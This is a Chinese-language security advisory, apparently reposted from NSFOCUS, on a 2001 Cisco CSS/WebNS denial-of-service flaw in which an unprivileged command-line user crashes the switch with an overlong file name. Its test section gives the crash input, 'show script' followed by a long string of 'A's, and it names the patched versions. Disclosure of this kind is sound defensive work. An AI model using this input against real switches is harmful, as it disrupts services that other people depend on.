Cisco Content Service Switch 长文件名拒绝服务…

发布日期：2001-02-05
更新日期：2001-02-05

受影响系统：

Cisco WebNS 4.0
Cisco WebNS 3.0

描述：

---

BUGTRAQ ID : 2330

Cisco Content Services (CSS) 交换机是硬件设备，它应
用 Cisco Web Network Services (Web NS)，被设计用来
为电子商务和 Web 内容传送加速 Web 服务。CSS 交换机由
Cisco 系统分发。

CSS 存在一个问题，这使得本地用户可以进行拒绝服务攻击。
问题发生在对本地用户的输入进行处理时。要进行攻击，用
户必须能访问交换机的命令行界面，但不需要管理权限。当
连接到一个非授权的账号时，用户可以在交换机上执行需要
一个文件名作参数的命令。当所给文件名的长度超过用于存
放文件名的缓冲区的大小时，交换机将重启并开始系统检查。

这个漏洞使得恶意用户可以获得足够的权限，执行导致拒绝
服务的命令。受影响的 CSS 系统有 switches 11050、11150、
和 11800。<* 来源：Ollie Whitehouse (ollie@atstake.com) *>




测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

show script
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA<enter>

Location the core files:
arrowpoint# copy core ?
readme AUG 5 19:17:44 4
xxxxx.0 OCT 25 16:24:02 130024448
xxxxx.1 OCT 25 16:36:12 130024448





建议：

---

临时解决办法：

NSFOCUS建议您限制对CSS交换机的未授权访问。


厂商补丁：

Cisco WebNS revision 4.01(12s)和revision 3.10 (71s)已经解决此问题。
请联系CISCO公司取得补丁程序。

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有